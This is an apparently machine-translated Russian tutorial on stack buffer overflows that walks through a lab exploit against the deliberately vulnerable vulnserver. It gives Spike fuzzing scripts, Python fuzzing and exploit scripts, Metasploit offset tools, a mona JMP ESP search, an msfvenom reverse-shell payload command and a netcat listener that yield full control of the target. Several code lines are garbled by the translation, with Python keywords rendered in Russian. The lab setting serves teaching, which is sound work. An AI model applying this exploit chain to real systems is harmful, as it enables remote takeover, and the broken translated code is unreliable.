Переполнение буфера сложно обнаружить, и, несмотря на это, когда вы его обнаруживаете, его, как правило, трудно использовать.

Буфер - это временная область для хранения информации. В тот момент, когда программа или фреймворк помещает больше информации, дополнительная информация хлынет. Это заставляет часть этой информации просачиваться в разные буферы, которые могут вырождать или перезаписывать любую информацию, которую они хранят. При атаке переполнения буфера дополнительная информация иногда содержит явные инструкции для действий, предложенных хакером или злоумышленником; например, данные могут вызвать реакцию, которая наносит вред документам, изменяет информацию или раскрывает личные данные.

Переполнение буфера, скорее всего, является наиболее известным типом уязвимости безопасности программного обеспечения. Большинство разработчиков программирования понимают, что такое уязвимость, связанная с переполнением буфера, однако атаки на переполнение буфера как в отношении наследования, так и недавно созданных приложений по-прежнему встречаются повсеместно. Отчасти проблема связана с широким ассортиментом способов, которыми может произойти переполнение буфера, а отчасти - с подверженными ошибкам методами, которые часто используются для их предотвращения. Переполнение буфера сложно обнаружить, и, несмотря на это, когда вы его обнаруживаете, его, как правило, трудно использовать. Тем не менее, злоумышленники выяснили, как распознать переполнение буфера в огромном массиве продуктов и компонентов.

1 - Понимание памяти

Чтобы полностью понять, как работают атаки на переполнение буфера, мы должны понять, как информационная память организована внутри процесса. Когда программа запускается, ей требуется место в памяти для хранения информации. Предполагая, что структура хоста использует компонент виртуальной памяти, виртуальное адресное пространство процесса делится как минимум на три части памяти.

1. Раздел «Текст», который является частью памяти только для чтения, используется для поддержки кода программы во время выполнения.

2. Раздел «Данные», который представляет собой другое место в памяти, куда процесс может дополнительно записывать информацию. Если информация обращается к этой области, раздел данных будет помещен на другую страницу памяти, чем текстовый раздел.

3. Наконец, раздел «Стек», который является частью памяти, переданной операционным фреймворкам. Он используется для хранения локальных переменных, определенных внутри функций, или информации, относящейся к системным вызовам.

Разделив две начальные секции памяти, мы обсудим стек, потому что это место, где происходит переполнение буфера.

Как упоминалось ранее, часть памяти с именем «Стек» - это место, где программа может хранить свои аргументы, свою локальную переменную и некоторую информацию для управления потоком выполнения программы. В архитектуре ПК каждые данные, хранящиеся в стеке, имеют длину, кратную четырем байтам. В 32-битной архитектуре Intel информация длиной в четыре байта называется «двойным словом» или «двойным словом». Стек в операционной среде Linux начинается с адреса верхней памяти и развивается по адресу низкой памяти. Кроме того, память на Intel x86 следует соглашению с прямым порядком байтов, поэтому наименее значимое значение байта сохраняется по адресу младшей памяти, остальные байты следуют в порядке возрастания значимости. Мы можем сказать, что память состоит из адресов от младшего к старшему.

«Стек» возник в результате его стратегии накопления запасов под названием «Последний пришел - первым ушел» (L.I.F.O). Это означает, что последнее двойное слово, помещенное в память, будет извлечено первым. В стеке разрешены действия PUSH и POP. PUSH используется для встраивания «двойного слова» информации в «стек», а POP извлекает последнее «двойное слово» с помощью «Стек». Вызывающая функция использует «Стек» для передачи параметра вызываемой функции. Для каждого вызова функции вводится фрейм «Стек», включающий следующее:

1. Параметры функции.

2. Адрес возврата - используется для хранения адреса в памяти следующей инструкции, вызываемой после возврата из функции.

3. Указатель кадра - используется для получения ссылки на текущий кадр «Стек» и предоставления им доступа к локальной переменной и параметрам функции.

4. И локальные переменные функции.

В архитектуре x86 Bit по крайней мере три реестра процессов стали, возможно, наиболее решающим фактором с «стеком»; это EIP, EBP, и ESP. «EIP» означает указатель расширенной инструкции, это регистр, доступный только для чтения, и он содержит расположение следующей инструкции для чтения в программе. Он постоянно указывает на часть памяти «Программный код». «EBP» обозначает указатель расширенного базового стека, и его цель - указать на базовое расположение «стека» и «ESP» означает расширенный указатель стека; этот регистр сообщает вам, где вы находитесь в «стеке». Это означает, что «ESP» постоянно отмечает наивысшую точку «стека».

«EBP» важен, потому что он дает точку пребывания в памяти, и мы можем иметь много вещей, связанных с этой ценностью. Когда функция вызывается внутри программы и у нас есть несколько параметров для отправки, на позиции в памяти постоянно ссылаются «EBP», как на локальные переменные, как показано на изображении ниже. .

Мы знаем, что память состоит из адресов нижней памяти и адресов верхней памяти. Допустим, мы отправляем строку, состоящую из 12 символов «A». Память будет выглядеть как на следующем рисунке:

При анализе этого изображения мы видим, что «PARAM1» указывает на место, где информация сохраняется в «стеке», и, как мы, вероятно, знаем, «ESP» фокусируется на вершине стека, поэтому строка дублируется из 4 байтов «ADDR1» один за другим в более высокую память, и это происходит потому, что это лучший способ остаться внутри «Стек». Если функция не контролирует длину буфера перед составлением информации в «стек», и мы отправляем большое количество «A», мы можем получить регистр, как на изображении ниже.

На случай, если регистр «EIP» будет перезаписан символами «A», в этот момент вы изменили адрес, чтобы вернуться для выполнения следующей инструкции . Когда «EIP» перезаписывается «noise», вы получаете исключение, и программа останавливается.

2 - Использование переполнения буфера

В этом руководстве мы будем нацелены на уязвимое программное обеспечение под названием vulnserver. Это потоковое серверное приложение TCP на базе Windows, предназначенное для использования в целях эксплуатации. Этот продукт предназначен по большей части как инструмент для обучения обнаружению и использованию ошибок переполнения буфера. Каждый из недостатков, содержащихся в нем, незаметно уникален по сравнению с другими, поэтому при написании эксплойта требуются несколько иные методы работы. Чтобы загрузить это программное обеспечение, посетите следующую веб-страницу: « http://www.thegreycorner.com/2010/12/introduction-vulnserver.html «. В нижней части страницы щелкните в файле vulnserver.zip.

Перейдите в папку «Загрузки» и извлеките Zip-файл. Найдите исполняемый файл vulnserver.exe и запустите его от имени администратора.

«vulnserver» начнет активный сеанс и будет ожидать входящих подключений.

Еще один важный инструмент, который нам необходимо загрузить, называется «Immunity Debugger». Это простое приложение, которое стоит иметь, когда вам нужно писать эксплойты, анализировать вредоносные программы и выполнять обратное проектирование двоичных файлов Win32.

Программное обеспечение поставляется с интуитивно понятным графическим интерфейсом, а также с командной строкой. Чтобы загрузить Immunity Debugger, посетите веб-сайт https://www.immunityinc.com/products/debugger/ и щелкните Загрузить отладчик Immunity здесь! ссылка.

После установки программного обеспечения запустите его от имени администратора.

В главном окне Immunity Debugger щелкните вкладку «Файл» и выберите параметр «Присоединить».

Появится небольшое окно с просьбой выбрать конкретный процесс, который вы хотите проверить. В этом окне найдите процесс «vulnserver» и нажмите кнопку «Присоединить».

Он встроит запущенный процесс уязвимого программного обеспечения в интерфейс отладчика. Чтобы запустить отладчик, нажмите кнопку воспроизведения.

3 - Шип

Spike является частью дистрибутива Kali. Это программа, которая отправляет созданные пакеты приложению, чтобы оно аварийно завершило работу. Spike может отправлять пакеты TCP и UDP, и с помощью Spike мы можем находить уязвимости в приложениях. В этой части мы продемонстрируем использование Spike против «vulnserver».

Запустите «vulnserver» на компьютере с Windows, а в Kali Linux подключитесь к «vulnserver» с помощью «netcat». По умолчанию «vulnserver» работает на порту 9999.

Пример: (root @ kali: ~ # nc -nv 10.10.10.4 9999).

Затем введите «HELP», чтобы вывести список доступных команд.

Для отправки пакетов TCP мы используем команду «generic_send_tcp». Правильная форма использования этой команды следующая: (generic_send_tcp ‹IP-адрес› ‹номер порта› ‹spike_script› ‹SKIPVAR› ‹SKIPSTR›).

Пример: (root @ kali: ~ # generic_send_tcp).

Если шаблон содержит более одной переменной, мы можем протестировать каждую из них, если укажем разные значения для «SKIPVAR». В нашем случае это всегда ноль. Spike отправляет пакеты с чередующимися строками вместо переменных. Мы можем начать с определенной точки в тесте, если укажем значение для «SKIPSTR». Если значение равно нулю, то Spike начнется с начала.

Скрипты Spike отображают конфигурацию пакетов для коммуникации. Таким образом, мы можем сказать Спайку, какие параметры следует проверить в первую очередь. Нам нужно проверить каждую команду на «vulnserver», чтобы увидеть, можем ли мы ее вывести из строя или нет.

Например, следующий шаблон попытается отправить команду «STATS» с различными параметрами.

Откройте текстовый редактор и введите следующие строки, чтобы протестировать команду «STATS» и сохранить ее как файл «stats.spk».

s_readline ();

s_string («СТАТИСТИКА»);

s_string_variable («0»);

Теперь мы готовы отправлять наши первые пакеты с помощью Spike. Пока наш отладчик работает, введите следующую команду со сценарием всплеска, который мы создали для проверки параметра «STATS».

Пример: (root @ kali: ~ # generic_send_tcp 10.10.10.4 9999 stats.spk 0 0).

Смотрите отладчик Immunity и ждите, пока приложение выйдет из строя. Если в течение минуты или около того сбой не возник, прекратите увеличивать значение параметра STATS и попробуйте другие команды.

Ради экономии времени мы протестировали некоторые из них и обнаружили, что параметр «TRUN» уязвим и аварийно завершает работу в течение нескольких секунд. Откройте текстовый редактор и введите следующие строки, чтобы протестировать команду «TRUN» и сохранить ее как файл «trun.spk».

s_readline ();

s_string («TRUN»);

s_string_variable («0»);

Прежде чем мы начнем отправлять пакеты, мы должны установить среду. Сначала запустите отладчик «vulnserver» и Immunity на компьютере с Windows от имени администратора. Затем присоедините запущенный процесс «vulnserver» к Immunity и запустите отладчик.

Теперь мы можем отправлять TCP-пакеты, чтобы вскрыть «уязвимый сервер» и вызвать сбой.

Пример: (root @ kali: ~ # generic_send_tcp 10.10.10.4 9999 trun.spk 0 0).

Через несколько секунд мы видим, что отладчик Immunity приостановлен и произошло нарушение прав доступа. Это означает, что мы перезаписали части памяти «EIP», «EBP», и «ESP» и теперь можем выполнять любое переполнение буфера.

4 - Фазинг

Метод фаззинга очень похож на пиковое значение в том смысле, что мы собираемся отправить несколько символов для определенной команды и попытаться ее остановить. Разница в том, что с помощью пиков мы пытались сделать это для различных параметров, чтобы найти уязвимые места. Теперь, когда мы знаем, что параметр «TRUN» настроен неправильно, мы собираемся атаковать именно эту команду.

Прежде чем мы начнем фаззинг «vulnserver», мы должны установить среду. Сначала запустите отладчик «vulnserver» и Immunity на компьютере с Windows от имени администратора. Затем присоедините запущенный процесс «vulnserver» к Immunity и запустите отладчик.

Запустите ваш любимый текстовый редактор и введите следующие строки:

— — — — — — — — — — — — — — — — — — — — — — — — — — —

#! / usr / bin / python

import sys, socket

из времени импорта сна

buffer = «A» * 100

while True:

попробуйте:

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

s.connect ((‘10.10.10.4’, 9999))

s.send ((‘TRUN /.:/’ + буфер))

s.close ()

сон (1)

buffer = buffer + «A» * 100

кроме:

print «Ошибка при выполнении фаззинга на% s байтах»% str (len (buffer))

sys.exit ()

— — — — — — — — — — — — — — — — — — — — — — — — — — —

Как только вы это сделаете, сохраните его как «Fuzzing1.py» и измените мод на исполняемый файл.

Пример: (root @ kali: ~ # chmod + x Fuzzing1.py).

Итак, мы говорим скрипту python запускать определенные модули и устанавливать соединение с нашей машиной Windows, которая находится в 10.10.10.4 на порту 9999. Затем мы отправим уязвимую команду «TRUN» с добавлением 100 «A» символов, и это будет продолжаться до тех пор, пока не произойдет сбой.

Давайте запустим наш скрипт python и проследим за отладчиком Immunity.

Пример: (root @ kali: ~ # ./Fuzzing1.py).

В случае сбоя завершите сценарий и отметьте приблизительный размер в байтах, в котором произошел сбой. В нашем примере это произошло на 2200 байтах.

5 - Нахождение смещения

В предыдущем разделе мы использовали скрипт фаззинга, чтобы найти примерное место в байтах, на котором произошел сбой. Теперь нам нужно найти смещение, в котором «EIP» был перезаписан, потому что это то, что мы хотим контролировать с этого момента. Для этого нам нужно сгенерировать уникальный шаблон с помощью инструмента Metasploit и отправить его вместо символов «A». Затем на основе вывода мы можем узнать смещение, используя другой модуль Metasploit. Для создания уникального шаблона используйте следующую команду: (root @ kali: ~ # /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2200). Здесь мы создадим случайный шаблон длиной 2200 байт. Скопируйте паттерны и используйте их в скрипте фаззинга.

Откройте файл «Fuzzing1.py» в любом инструменте редактирования и замените часть «buffer =« A »* 100» шаблоном смещения, затем сохраните его. Скрипт должен выглядеть так:

— — — — — — — — — — — — — — — — — — — — — — — — — — —

#! / usr / bin / python

import sys, socket

смещение = «Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg 8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1 Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C»

попробуйте:

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

s.connect ((‘10.10.10.4’, 9999))

s.send ((‘TRUN /.:/’ + смещение))

s.close ()

кроме:

распечатать «Ошибка подключения к серверу»

sys.exit ()

— — — — — — — — — — — — — — — — — — — — — — — — — — —

Прежде чем мы выполним скрипт python, мы должны снова установить среду. Как только все заработает правильно, выполните сценарий.

Пример: (root @ kali: ~ # ./Fuzzing1.py).

После выполнения сценария python программа «vulnserver» аварийно завершит работу и отобразит перезаписанное значение «EIP» (386F4337). Запишите его где-нибудь, потому что нам нужно будет использовать его на следующем этапе поиска смещения.

Теперь мы собираемся использовать другой инструмент Metasploit, чтобы найти точное совпадение для нашего смещения. Для этого используйте следующую команду с той же длиной байта и укажите найденное нами значение «EIP».

Пример: (root @ kali: ~ # /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2200 -q 386F4337).

Как вы можете видеть на скриншоте выше, нам удалось найти точное совпадение для нашего смещения в 2003 байтах. Пришло время перезаписать «EIP».

6 - Перезапись EIP

В этом разделе мы попытаемся перезаписать часть памяти «EIP». В предыдущем примере мы обнаружили, что наше смещение было точно в 2003 байтах. Это означает, что есть 2003 байта прямо перед тем, как мы перейдем к «EIP». «EIP» - это часть памяти длиной 4 байта, и здесь мы попытаемся перезаписать их. Для этого нам нужно будет изменить наш скрипт python и отправить 2003 символов «A» для достижения «EIP», а затем добавить 4 «B» символы, чтобы перезаписать его. Сохраните изменения и запустите скрипт.

— — — — — — — — — — — — — — — — — — — — — — — — — — —

#! / usr / bin / python

import sys, socket

shellcode = «A» * 2003 + «B» * 4

попробуйте:

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

s.connect ((‘10.10.10.4’, 9999))

s.send ((‘TRUN /.:/’ + шелл-код))

s.close ()

кроме:

распечатать «Ошибка подключения к серверу»

sys.exit ()

— — — — — — — — — — — — — — — — — — — — — — — — — — — —

После выполнения сценария «vunserver» выйдет из строя, а отладчик Immunity Debugger остановится из-за нарушения прав доступа. Когда вы изучите выходные данные отладчика, вы увидите, что «EBP» будет заполнен всеми «A» (41414141) и «EIP» со всеми буквами «B» (42424242).

Это означает, что теперь мы можем управлять частью памяти «EIP» и вместо отправки группы «A» или «B» символов, мы можем отправить вредоносный шелл-код, чтобы заразить наш целевой компьютер и получить доступ к оболочке.

7 - Поиск плохих персонажей

При генерации шелл-кода нам нужно знать, какие символы для шелл-кода являются плохими или хорошими. Мы можем проверить это, пропустив через нашу программу все шестнадцатеричные символы и посмотрим, отображается ли какой-либо из них по-другому. Перед тестированием нам сначала нужно найти список «плохих символов». Откройте свой любимый браузер и выполните поиск по запросу «поиск плохих символов с помощью mona». Нажмите на ссылка «Найдите плохих персонажей с помощью Immunity Debugger и Mona.py.»

Этот конкретный веб-сайт уже создал переменную со всеми «плохими символами», которые мы можем использовать в нашем скрипте python.

Скопируйте переменную с «плохими символами» и вставьте их в скрипт python, который мы использовали раньше. По умолчанию символ нулевого байта «\ x00» действует, поэтому мы можем сразу удалить его из переменной. Рекомендуется ставить переменную bad chars после символов, вызывающих сбой. Если мы начнем нашу строку атаки с «bad chars», мы можем вообще не получить сбой. Сохраните сценарий и запустите его на «vulnserver», наблюдая с помощью отладчика Immunity.

Итак, в основном, наш скрипт python будет запускать каждый символ, указанный ниже, один за другим, и наша задача здесь - исследовать шестнадцатеричный дамп и делать записи о любых неуместных символах.

(\ x01 \ x02 \ x03 \ x04 \ x05 \ x06 \ x07 \ x08 \ x09 \ x0a \ x0b \ x0c \ x0d \ x0e \ x0f \ x10 \ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f \ x20 \ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x28 \ x29 \ x2a \ x2b \ x2c \ x2d \ x2e \ x2f \ x30 \ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x37 \ x38 \ x39 \ x3a \ x3b \ x3c \ x3d \ x3e \ x3f \ x40 \ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x48 \ x49 \ x4a \ x4b \ x4c \ x4d \ x4e \ x4f \ x50 \ x51 \ x52 \ x53 \ x54 \ x55 \ x56 \ x57 \ x58 \ x59 \ x5a \ x5b \ x5c \ x5d \ x5e \ x5f \ x60 \ x61 \ x62 \ x63 \ x64 \ x65 \ x66 \ x67 \ x68 \ x69 \ x6a \ x6b \ x6c \ x6d \ x6e \ x6f \ x70 \ x71 \ x72 \ x73 \ x74 \ x75 \ x76 \ x77 \ x78 \ x79 \ x7a \ x7b \ x7c \ x7d \ x7e \ x7f \ x80 \ x81 \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x88 \ x89 \ x8a \ x8b \ x8c \ x8d \ x8e \ x8f \ x90 \ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x98 \ x99 \ x9a \ x9b \ x9c \ x9d \ x9e \ x9f \ xa0 \ xa1 \ xa2 \ xa3 \ xa4 \ xa5 \ xa6 \ xa7 \ xa8 \ xa9 \ xaa \ xab \ xac \ xad \ xae \ xaf \ xb0 \ xb1 \ xb2 \ xb3 \ xb4 \ xb5 \ xb6 \ xb7 \ xb8 \ xb9 \ xba \ xbb \ xbc \ xbd \ xbe \ xbf \ xc0 \ xc1 \ xc2 \ xc3 \ xc4 \ xc5 \ xc6 \ xc7 \ xc8 \ xc9 \ xca \ xcb \ xcc \ xcd \ xce \ xcf \ xd0 \ xd1 \ xd2 \ xd3 \ xd4 \ xd5 \ xd6 \ xd7 \ xd8 \ xd9 \ xda \ xdb \ xdc \ xdd \ xde \ xdf \ xe0 \ xe1 \ xe2 \ xe3 \ xe4 \ xe5 \ xe6 \ xe7 \ xe8 \ xe9 \ xea \ xeb \ xec \ xed \ xee \ xef \ xf0 \ xf1 \ xf2 \ xf3 \ xf4 \ xf5 \ xf6 \ xf 7 \ xf8 \ xf9 \ xfa \ xfb \ xfc \ xfd \ xfe \ xff).

Чтобы проверить шестнадцатеричный дамп, после сбоя щелкните правой кнопкой мыши «ESP» и в раскрывающемся меню выберите «Follow in Dump». Он будет сбрасывать и отображать все шестнадцатеричные символы, которые мы отправляем с нашим скриптом python.

Теперь мы видим в стеке гораздо более длинную строку «плохие символы». Нетрудно выбрать легкий путь и посмотреть вниз и проверить, присутствует ли там символ «\ xff», и ожидать, что нет других повреждений. В этом примере каждый поврежденный байт завершает строку «плохие символы», но это не всегда так. Иногда, когда вы пытаетесь создать новые эксплойты, вы можете столкнуться с обстоятельствами, когда один символ искажается, но оставшаяся часть строки «плохие символы» печатается эффективно. В этой ситуации осторожный просмотр байтов в стеке по отдельности в строке «bad chars» - лучший способ проверить, нет ли больше плохих символов. К сожалению, это очень утомительный процесс, и в нем легко ошибаться.

8 - Поиск подходящего модуля

Когда мы говорим о поиске правильного модуля, мы говорим о том, что мы ищем файл dll или что-то подобное в программе, не имеющей защиты памяти. Несмотря на то, что нет реального способа использовать приложение для критического мышления, мы можем использовать модуль Mona.py для автоматизации этих надоедливых побайтных сравнений для Immunity Debugger. Вы можете загрузить файл Mona.py со следующей страницы GitHub: https://github.com/corelan/mona.

Извлеките файл и скопируйте «Mona.py» в «C: \ Program Files \ Immunity Inc \ Immunity Debugger \ PyCommands». папка .

После копирования файла в папку «PyCommands» его можно вызвать и перечислить все модули в отладчике Immunity Debugger. Перед перечислением модулей убедитесь, что «vulnserver» запущен и подключен к отладчику. Затем в отладчике Immunity Debugger введите в поле поиска «! Mona modules» и нажмите «Enter».

Он отобразит все модули с их настройками защиты. Здесь нам нужно найти файл, который прикреплен к «vulnserver» и имеет все настройки защиты как «False». В этом примере мы нашли «essfunc.dll», для которого все установлено как false.

Затем мы должны найти код операции, эквивалентный «JMP» (команда перехода). Для этого нам нужно использовать сценарий «nasm_shell.rb» из терминала Kali Linux .

Пример: (root @ kali: ~ # /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb).

Здесь мы пытаемся преобразовать язык ассемблера в шестнадцатеричный код и найти эквивалентный код для команды перехода «JMP ESP». Инструкция «JMP ESP», она позволяет нам контролировать выполнение программы. через «EIP» и попадете в контролируемое пользователем пространство, которое будет содержать наш шелл-код. Введите «JMP ESP» в «nasm_shell» и нажмите «Enter». Затем обратите внимание на шестнадцатеричный код для команды перехода: «FFE4».

Теперь нам нужно использовать эту информацию (FFE4) с Mona, чтобы найти адрес возврата для команды перехода с помощью модуля (essfunc.dll). Для этого введите «! Mona find -s« \ xff \ xe4 »-m essfunc.dll» в поле поиска Immunity Debugger.

Когда вы нажмете «Enter», отобразятся обратные адреса. Нам нужно делать заметки и записывать один из адресов, чтобы мы могли использовать его позже в нашем скрипте Python. В этом примере мы отметим первый адрес: «625011af».

Теперь мы можем изменить наш скрипт python и добавить адрес возврата, который мы отметили, в обратном порядке («\ xaf \ x11 \ x50 \ x62») после того, как мы укажем («A» * 2003) буферные символы.

С адресом памяти «JMP ESP», добавленным к нашему сценарию после байтов начального буфера 2003 г., мы можем перезаписать «EIP». Перед тем, как запустить этот сценарий, давайте установим точку останова в инструкции «JMP ESP», чтобы мы могли выполнять инструкции вручную после того, как мы отправим наш ввод. Для этого щелкните значок синей стрелки в отладчике и введите значение адреса возврата, которое мы отметили ранее.

Как только вы нажмете кнопку «ОК», он найдет этот конкретный код перехода и отобразит его в верхней части экрана. Чтобы установить точку останова, выделите адрес и нажмите «F2» или дважды щелкните шестнадцатеричное значение адреса.

После того, как все настроено, запустите скрипт python и проанализируйте изменения.

Итак, здесь произошло то, что программа остановилась, когда мы достигли нашей точки останова, и «EIP» был перезаписан значением, которое мы указали в нашем скрипте python. Это означает, что у нас есть полный контроль над «EIP» и мы можем запустить любой шелл-код, чтобы поставить под угрозу нашу целевую машину.

9 - Генерация шелл-кода и получение доступа

На этом этапе процесса разработки эксплойта пора сгенерировать шелл-код. В этом примере мы будем использовать msfvenom для создания полезной нагрузки обратной оболочки. Msfvenom - это комбинация генерации и кодирования полезной нагрузки. Для создания шелл-кода нам необходимо выполнить следующую команду: (root @ kali: ~ # msfvenom - платформа Windows -p windows / shell_reverse_tcp LHOST = 10.10.10.15 LPORT = 4444 EXITFUNC = thread - fc -a x86 -b «\ x00»). Давайте разберемся и проанализируем команду. Сначала мы вызвали инструмент, а затем указали полезную нагрузку для операционной системы Windows (windows / shell_reverse_tcp) с помощью оператора «-p». Затем мы предоставили IP-адрес злоумышленника (LHOST) и номер порта (LPORT) для прослушивания входящего соединения. Затем мы использовали команду «EXITFUNC = thread», чтобы сделать эксплойт немного более стабильным (это необязательно). Мы хотели экспортировать все в файл типа C, поэтому мы указали оператор «-f». Затем мы предоставили архитектуру «-a x86» целевой машины и недопустимый символ с помощью параметра «-b».

Как только вы нажмете «Enter», он сгенерирует полезные данные. Нам нужно скопировать и использовать его в нашем скрипте Python.

Откройте скрипт python в любом текстовом редакторе и объявите переменную, например «overflow» или что угодно, а затем вставьте полезную нагрузку.

Затем мы должны добавить эту переменную полезной нагрузки в переменную «шелл-код», предоставив несколько («\ x90» без операции) отступов .

Пример: (шелл-код = «A» * 2003 + «\ xaf \ x11 \ x50 \ x62» + «\ x90» * 32 + переполнение).

Мы используем этот тип заполнения, чтобы убедиться, что ничто не мешает между командой перехода и нашей полезной нагрузкой.

После того, как все будет завершено, сохраните сценарий и запустите его на целевой машине. Перед выполнением сценария убедитесь, что программное обеспечение «vulnserver» запущено от имени администратора на целевой машине.

Наконец, мы можем запустить прослушиватель Netcat для захвата соединения с обратной оболочкой и отправить наш буфер эксплойтов в приложение, выполнив созданный скрипт python.

Пример: (root @ kali: ~ # nc -nvlp 4444).

Как вы можете видеть на скриншоте выше, после выполнения скрипта python вы получите соединение с обратной оболочкой и получите полный контроль над целевой машиной.

Было бы хорошо предположить, что благодаря применяемым методам смягчения, атаки переполнения на основе стека больше не представляют угрозы, но это просто не так. Атаки на основе стека не так распространены, как когда-то, но все же существуют. Из-за большого количества поставщиков операционных систем сомнительно, чтобы атаки на основе стека в Windows или Linux продолжались, но небольшие группы, которые не заботятся о безопасности, могут оставаться уязвимыми.